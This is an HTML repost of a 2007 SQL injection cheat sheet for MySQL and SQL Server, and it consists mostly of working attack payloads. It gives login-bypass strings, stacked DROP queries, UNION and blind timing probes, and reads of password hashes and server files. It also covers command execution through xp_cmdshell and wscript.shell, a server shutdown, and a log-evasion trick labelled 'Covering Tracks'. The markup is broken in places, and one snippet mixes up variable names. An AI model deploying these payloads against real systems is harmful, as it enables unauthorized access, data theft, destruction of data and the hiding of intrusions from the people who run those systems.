SQL Injection Cheat Sheet

<style type="text/css">
.STYLE1 {color: #FF0000}
<h1 class="STYLE1">SQL Injection Cheat Sheet</h1>
<p>Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences. <br/><br/>Samples are provided to allow reader to get basic idea of a potential attack.</p> <ul> <li>M : MySQL <li>S : SQL Server <li>O : Oracle <li>+ : Possibly all other databases </li></ul> <p><strong>Examples;</strong><br/>(MS) MySQL and SQL Server etc. <br/>(M*S) Only in some versions of MySQL or special conditions see related note and SQL Server</p> <h2 class="STYLE1">Syntax Reference with Sample Basic Attacks </h2> <h3>Ending / Commenting Out / Line Comments Queries </h3> <h4>Line Comments </h4> <p>(Comments rest of the query)<br/><br/>Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing rest of the query.<br/></p> <ul type="disc"> <li>– (SM)<br/>DROP sampletable;<span class="hi">–</span><br/><br/> <li># (M)<br/>DROP sampletable;<span class="hi">#</span> </li></ul> <h5>Sample SQL Injection Attacks</h5> <ul type="disc"> <li>Username: admin<span class="hi">'–</span> <li>SELECT * FROM members WHERE username = '<span class="hi">admin'–</span><span class="comment">' AND password = 'password'</span><br/>This is going to log you as admin user, because rest of the SQL query will be ignored. </li></ul> <h4>Inline Comments</h4> <p>Comments rest of the query by not closing them or use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.</p> <ul type="disc"> <li>/*Comment Here*/ (SM) <ul> <li>DROP<span class="hi">/*comment*/</span>sampletable <li>DR<span class="hi">/**/</span>OP<span class="hi">/*bypass blacklisting*/</span>sampletable <li>SELECT<span class="hi">/*avoid-spaces*/</span>password<span class="hi">/**/</span>FROM<span class="hi">/**/</span>Members<br/><br/></li></ul> <li>/*! MYSQL Special SQL */ (M)<br/>This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL. Also you can use this to execute some code only if the server is higher than supplied version.<br/><br/>SELECT <span class="hi">/*!32302 1/0, */</span> 1 FROM tablename </li></ul> <h5>Sample SQL Injection Attacks</h5> <ul type="disc"> <li>ID: <span class="hi">/*!</span>32302 10<span class="hi">*/</span> <li>ID: 10<br/>You will get the <strong>same response</strong> if the MySQL version is higher than <strong>3.23.02</strong> </li></ul> <h3>Stacking Queries </h3> <p>Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications. </p> <ul type="disc"> <li>; (S)<br/>SELECT * FROM members<span class="hi">; DROP members–</span> </li></ul> <p>Ends a query and starts a new one.</p> <p><strong>*About MySQL and PHP;</strong><br/>To clarify some issues;<br/>PHP – MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL clients support this, not quite sure. Can someone clarify ? </p> <h5>Sample SQL Injection Attacks</h5> <ul type="disc"> <li>ID: 10;DROP members — <li>SELECT * FROM products WHERE id = 10<span class="hi">; DROP members–</span> </li></ul>This will run DROP members SQL sentence after normal SQL Query.<br/> <h3>If Statements </h3> <p>Get response based on a if statement is one of the key points of Blind SQL Injection and can be very useful to test simple stuff.</p> <h4>MySQL If Statement</h4> <ul> <li>IF(<strong>condition,true-part,false-part</strong>) (M)<br/>SELECT IF(1=1,'true','false') </li></ul> <h4>SQL Server If Statement </h4> <ul> <li>IF <strong>contidion</strong> <strong>true-part</strong> ELSE <strong>false-part</strong> (S)<br/>IF (1=1) SELECT 'true' ELSE SELECT 'false' </li></ul> <h5>Sample SQL Injection Attacks </h5> <p>if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)<br/>This will throw an divide by zero error if current logged user is not "sa" or "dbo".</p> <h3>Using Integers </h3> <p>Very useful for bypassing, magic_quotes() and similar filters, or even WAFs. </p> <ul type="disc"> <li>0xHEXNUMBER (SM)<br/>You can  write hex like these;<br/><br/>SELECT CHAR(0x66) (S)<br/>SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)<br/>SELECT 0x50 + 0x45 (this is integer now!) (M)<br/></li></ul> <h3>String  Operations </h3> <p>String related operations. This can be quite useful to build up injection which are not using any quotes, bypass any other black listing or determine database.</p> <h4>String Concatenation </h4> <ul type="disc"> <li>+ (S)<br/>SELECT login <span class="hi">+ '-' +</span> password FROM members<br/><br/> <li>|| (*MO)<br/>SELECT login <span class="hi">|| '-' ||</span> password FROM members </li></ul> <p><strong>*About MySQL `||`;</strong><br/>If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.</p> <p> </p> <ul type="disc"> <li>CONCAT(str1, str2, str3, …) (M)<br/>Concatenate supplied strings. <br/>SELECT <span class="hi">CONCAT(login, password)</span> FROM members </li></ul> <h3>Strings without Quotes </h3> <p>These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.</p> <ul type="disc"> <li>0x457578 (M) – Hex Representation of string <br/>SELECT 0x457578<br/>This will be selected as string in MySQL.<br/><br/> <li>Using CONCAT() in MySQL<br/>SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)<br/>This will return ‘KLM’.<br/><br/> <li>SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)<br/>This will return ‘KLM’. </li></ul> <h3>String Modification & Related </h3> <ul type="disc"> <li>ASCII() (SM) <br/>Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.<br/><br/>SELECT ASCII('a')<br/><br/> <li>CHAR() (SM) <br/>Convert an integer of ASCII .<br/><br/>SELECT CHAR(64)<br/></li></ul> <h3>UNION – Fixing Language Issues</h3> <p>While exploiting union injections sometimes you will get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to bypass this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it. </p> <ul> <li>SQL Server (S) <br/>Use <span class="hi">field <strong>COLLATE</strong> SQL_Latin1_General_Cp1254_CS_AS</span> or some other valid one – check out SQL Server documentation.<br/><br/> <li>MySQL (M) <br/>Hex() for every possible issue </li></ul> <h3>Login Screen (SMO+) </h3>SQL Injection 101, Login tricks <ul> <li>admin' — <li>admin' # <li>admin'/* <li>' or 1=1– <li>' or 1=1# <li>' or 1=1/* <li>') or '1'='1– <li>') or ('1'='1– <li>etc…. </li></ul> <ul> <li>Login as different user (SM*) <br/>' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1– </li></ul> <p>*Old versions of MySQL doesn't support union queries </p> <h3>Error Based – Find Columns Names </h3> <h4>Finding Column Names with <strong>HAVING BY</strong> – Error Based (S) </h4> <p>In the same order, </p> <ul> <li>' HAVING 1=1 — <li>' GROUP BY <strong class="hi">table.columnfromerror1</strong> HAVING 1=1 — <li>' GROUP BY <strong class="hi">table.columnfromerror1, columnfromerror2</strong> HAVING 1=1 — <li>' GROUP BY <strong class="hi">table.columnfromerror1, columnfromerror2, columnfromerror(n) </strong>HAVING 1=1 — and so on <li>If you are not getting any more error then it's done. </li></ul> <h4>Finding how many columns in SELECT query by <strong>ORDER BY</strong> <strong>(MSO+)</strong></h4> <p>Finding column number by ORDER BY can speed up the UNION SQL Injection process.</p> <ul> <li>ORDER BY 1– <li>ORDER BY 2– <li>ORDER BY N– so on <li>Keep going until get an error. Error means you found the number of selected columns. </li></ul> <h3>Data types, UNION, etc. </h3> <h4>Hints,</h4> <ul> <li>Always use <strong>UNION</strong> with <strong>ALL </strong>because of <strong>image</strong> similiar non-distinct field types. By default union tries to get records with distinct. <li>To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time. <li>Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc. <ul> <li>Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field) </li></ul></li></ul> <h4>Finding Column Type </h4> <ul> <li> ' union select <span class="hi">sum(<strong>columntofind</strong>)</span> from <strong>users</strong>– (S) <br/>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' <br/>[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a <strong class="hi">varchar</strong> data type as an argument.<br/><br/>If you are not getting error it means column is numeric. <br/><br/> <li>Also you can use <span class="hi">CAST()</span> or <span class="hi">CONVERT()</span> <ul> <li>SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–<br/><br/></li></ul> <li>11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-<br/>No Error – Syntax is right. MS SQL Server Used. Proceeding.<br/><br/> <li>11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-<br/>No Error – First column is an integer.<br/><br/> <li>11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — <br/>Error! – Second column is not an integer.<br/><br/> <li>11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-<br/>No Error – Second column is a string.<br/><br/> <li>11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-<br/>Error! – Third column is not an integer. …<br/><br/>Microsoft OLE DB Provider for SQL Server error '80040e07' <br/>Explicit conversion from data type <span class="hi"><strong>int</strong> to image</span> is not allowed. </li></ul> <p><strong>You’ll get convert() errors before union target errors ! </strong>So<strong> </strong>start with<strong> </strong>convert() then union<strong></strong></p> <h3>Simple Insert (MSO+) </h3>'; insert into users values( 666, 'attacker', 'foobar', 0xffff )– <h3>Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes</h3> <p><strong>@@version</strong> (MS) <br/>Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions. </p> <p>INSERT INTO members(id, user, pass) VALUES(1, ''+<span class="hi">SUBSTRING(@@version,1,10)</span> ,10)</p> <h4>Bulk Insert (S) </h4> <p>Insert a file content to a table. If you don't know internal path of web application you can <strong>read IIS (</strong>IIS 6 only<strong>) metabase file </strong>(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path. </p> <ol> <ol> <li>Create table foo( line varchar(8000) ) <li>bulk insert foo from 'c:\inetpub\wwwroot\login.asp' <li>Drop temp table, and repeat for another file. </li></ol></ol> <h4>BCP (S) </h4> <p>Write text file. Login Credentials are required to use this function. <br/>bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar </p> <h4>VBS, WSH in SQL Server (S) </h4> <p>You can use VBS, WSH scripting in SQL Server because of ActiveX support. </p> <p>declare @o int <br/>exec sp_oacreate 'wscript.shell', @o out <br/>exec sp_oamethod @o, 'run', NULL, 'notepad.exe' <br/>Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' –<br/></p> <h4>Executing system commands, xp_cmdshell (S) </h4> <p>Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access. </p> <p>EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'<br/></p> <p>Simple ping check (configure your firewall or sniffer to identify request before launch it), </p> <p>EXEC master.dbo.xp_cmdshell 'ping <ip address>'</p> <p>You can not read results directly from error or union or something else. </p> <h4>Some Special Tables in SQL Server (S) </h4> <ul> <li>Error Messages <br/>master..sysmessages <br/><br/> <li>Linked Servers<br/>master..sysservers<br/><br/> <li>Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm ) <br/>SQL Server 2000: masters..sysxlogins<br/>SQL Server 2005 : sys.sql_logins<br/></li></ul> <h4>More Stored Procedures (S) </h4> <h3>Stored Procedures </h3> <ol> <li>Cmd Execute (<strong>xp_cmdshell</strong>)<br/>exec master..xp_cmdshell 'dir' <br/><br/> <li>Registry Stuff (<strong>xp_regread</strong>)<br/> <ol> <li>xp_regaddmultistring <li>xp_regdeletekey <li>xp_regdeletevalue <li>xp_regenumkeys <li>xp_regenumvalues <li>xp_regread <li>xp_regremovemultistring <li>xp_regwrite <br/>exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' <br/>exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' <br/><br/></li></ol> <li>Managing Services (<strong>xp_servicecontrol</strong>)<br/> <li>Medias (<strong>xp_availablemedia</strong>)<br/> <li>ODBC Resources (<strong>xp_enumdsn</strong>)<br/> <li>Login mode (<strong>xp_loginconfig</strong>)<br/> <li>Creating Cab Files (<strong>xp_makecab</strong>)<br/> <li>Domain Enumeration (<strong>xp_ntsec_enumdomains</strong>)<br/> <li>Process Killing (need PID) (<strong>xp_terminate_process</strong>)<br/> <li>Add new procedure (virtually you can execute whatever you want)<br/>sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’<br/>exec xp_webserver <li>Write text file to a UNC or an internal path (sp_makewebtask)<br/></li></ol> <h4>MSSQL Bulk Notes </h4> <p>SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ </p> <p>DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0</p> <p>HOST_NAME()<br/>IS_MEMBER (Transact-SQL) <br/>IS_SRVROLEMEMBER (Transact-SQL) <br/>OPENDATASOURCE (Transact-SQL) </p><pre>INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"</pre>

<p>OPENROWSET (Transact-SQL)  – <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p>
<p>You can not use sub selects in SQL Server Insert queries.</p>
<h4>SQL Injection in LIMIT (M) or ORDER (MSO)</h4>
<p>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;</p>
<p>If injection is in second limit you can comment it out or use in your union injection </p>
<h4>Shutdown SQL Server (S)</h4>

<p>When you really pissed off, ';shutdown — </p>
<h3>Finding Database Structure in SQL Server (S) </h3>
<h4>Getting User defined Tables</h4>
<p>SELECT name FROM sysobjects WHERE xtype = 'U'</p>
<h4>Getting Column Names</h4>
<p>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')</p>
<h3>Moving records (S)</h3>
<li>Modify WHERE and use <strong>NOT IN</strong> or <strong>NOT EXIST</strong>,<br/>… WHERE users NOT IN ('First User', 'Second User')<br/><code class="hi">SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one <br/><br/>

<li>Using Dirty Tricks<br/>SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int <br/><br/>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21<br/></li></ul>
<p>  </p>
<h3>Fast way to extract data from Error Based SQL Injections in SQL Server (S)</h3><span id="gr">';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–</span>
<p><strong>Detailed Article : </strong><span id="gr"><a href="http://ferruh.mavituna.com/makale/fast-way-to-extract-data-from-error-based-sql-injections/">Fast way to extract data from Error Based SQL Injections</a></span><br/>Check out references for Advanced SQL Injection by Chris Anley. </p>
<h3>Waiting For Blind SQL Injections</h3>

<p>First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.</p>
<h4>WAIT FOR DELAY (S) </h4>
<p>This is just like sleep, wait for spesified time. CPU safe way to make database wait. </p>
<p>WAITFOR DELAY '0:0:10'–</p>
<p>Also you can use fractions like this,</p>
<p>WAITFOR DELAY '0:0:0.51'</p>
<h4>Real World Samples </h4>
<li>Are we 'sa' ?<br/>if (select user) = 'sa' waitfor delay '0:0:10' </li></ul>

<h4>BENCHMARK (M)</h4>
<p>Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!</p>
<p>BENCHMARK(howmanytimes, do this)</p>
<h4>Real World Samples </h4>
<li>Are we root ? woot!<br/>IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))<br/><br/>
<li>Check Table exist in MySQL<br/>IF (SELECT * FROM login) BENCHMARK(1000000000,MD5(1))<br/></li></ul>
<h2 class="STYLE1">Covering Tracks</h2>

<h4>SQL Server -sp_password log bypass (S) </h4>
<p>SQL Server don't log queries which includes sp_password for security reasons(!). So if you add –sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible) </p>
<h2 class="STYLE1">Clear SQL Injection Tests</h2>
<p>These tests are simply good for blind sql injection and silent attacks.</p>
<ol type="1">
<li>product.asp?id=4 (SMO)
<ol type="a">
<li>product.asp?id=4 OR 1=1<br/><br/></li></ol>
<ol type="a">
<li>product.asp?name=Bo’ || ’ok (OM)
<li>product.asp?name=Book’ OR ‘x’=’x </li></ol></li></ol>
<h2 class="STYLE1">Some Extra MySQL Notes </h2>

<li>Sub Queries are working only MySQL 4.1+
<ul type="circle">
<li>SELECT User,Password FROM mysql.user; </li></ul>
<li>SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
<li class="hi">SELECT … INTO DUMPFILE
<ul type="circle">
<li class="hi">Write query into a <strong>new file </strong>(can not modify existing files) </li></ul>
<li>UDF Function
<ul type="circle">
<li>create function LockWorkStation returns integer soname 'user32';
<li>select LockWorkStation();<br/>
<li>create function ExitProcess returns integer soname 'kernel32';
<li>select exitprocess(); </li></ul>
<li>SELECT password,USER() FROM mysql.user;
<li>First byte of admin hash
<ul type="circle">

<li>SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1; </li></ul>
<li class="hi">Read File
<li>query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 </li></ul>
<li>MySQL Load Data inifile <br/>
<li><strong>By default it’s not avaliable !</strong>
<li>create table foo( line blob );<br/>load data infile 'c:/boot.ini' into table foo;<br/>select * from foo; </li></ul></li></ul>
<li>More Timing in MySQL
<li>select benchmark( 500000, sha1( 'test' ) );
<li>query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
<li>select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );<br/><strong>Enumeration data, Guessed Brute Force</strong>
<ul type="disc">
<ul type="circle">
<li>select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' ); </li></ul></ul></li></ul>

<h4>Potentially Usefull Functions</a></h4>
<p>MD5() <br/>SHA1() <br/>CHAR() <br/>PASSWORD() <br/>ENCODE() <br/>COMPRESS() <br/>BENCHMARK() <br/>ROW_COUNT() <br/>SCHEMA() <br/>VERSION()</p>
<h2 class="STYLE1">Second Order SQL Injections</h2>
<p>Basicly you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem. </p>

<p>Name :  ' + (SELECT TOP 1 password FROM users ) + ' <br/>Email : <a href="mailto:[email protected]">[email protected]</a></p>
<p>If application is using name field in an unsafe steored procedure or function, process etc. then it will insert first users password as your name etc.</p>
<h2 class="STYLE1">References </h2>
<p>Since these notes collected from several different resources within several years and personal experiences may I missed some references. If you believe I missed yours or someone else then <a href="http://ferruh.mavituna.com/iletisim/">drop me an email</a>, I'll update it as soon as possible. </p>
<li><strong>Lots of Stuff</strong>

<li>Advanced SQL Injection In SQL Applications, Chris Anley
<li>More Advanced SQL Injection In SQL Applications, Chris Anley
<li>Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
<li>Hackproofing MySQL, Chris Anley
<li>Database Hacker's Handbook, <span class="style1">David Litchfield, Chris Anley, John Heasman, Bill Grindlay</span>
<li><strong>Upstairs Team! </strong><br/><br/></li></ul>
<li><strong>MSSQL </strong><strong>Related</strong>
<li>MSSQL Operators – <a href="http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx">http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx</a>
<li>Transact-SQL Reference – <a href="http://msdn2.microsoft.com/en-us/library/aa299742(SQL.80).aspx">http://msdn2.microsoft.com/en-us/library/aa299742(SQL.80).aspx</a>
<li>String Functions (Transact-SQL)  – <a href="http://msdn2.microsoft.com/en-us/library/ms181984.aspx">http://msdn2.microsoft.com/en-us/library/ms181984.aspx</a>
<li>List of MSSQL Server Collation Names – <a href="http://msdn2.microsoft.com/en-us/library/ms180175.aspx">http://msdn2.microsoft.com/en-us/library/ms180175.aspx</a>
<li>MSSQL Server 2005 Login Information and some other functions : <a href="http://www.notsosecure.com/">Sumit Siddharth</a><br/><br/></li></ul>
<li><strong>MySQL </strong><strong>Related</strong>
<li>Comments : <a href="http://dev.mysql.com/doc/">http://dev.mysql.com/doc/ </a>
<li>Control Flows – <a href="http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html">http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html</a>
<li>MySQL Gotchas – <a href="http://sql-info.de/mysql/gotchas.html">http://sql-info.de/mysql/gotchas.htm</a> </li></ul></li></ul>

<h2 class="STYLE1">ChangeLog</h2>
<li>15/03/2007 – Public Release </li></ul>
<h2 class="STYLE1">To Do / Contact / Help </h2>
<p>I got lots of notes for ORACLE, PostgresSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just <a href="http://ferruh.mavituna.com/iletisim/">drop me an email</a>.</p>
<strong>原始链接:</strong><a href="http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/">http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/</a>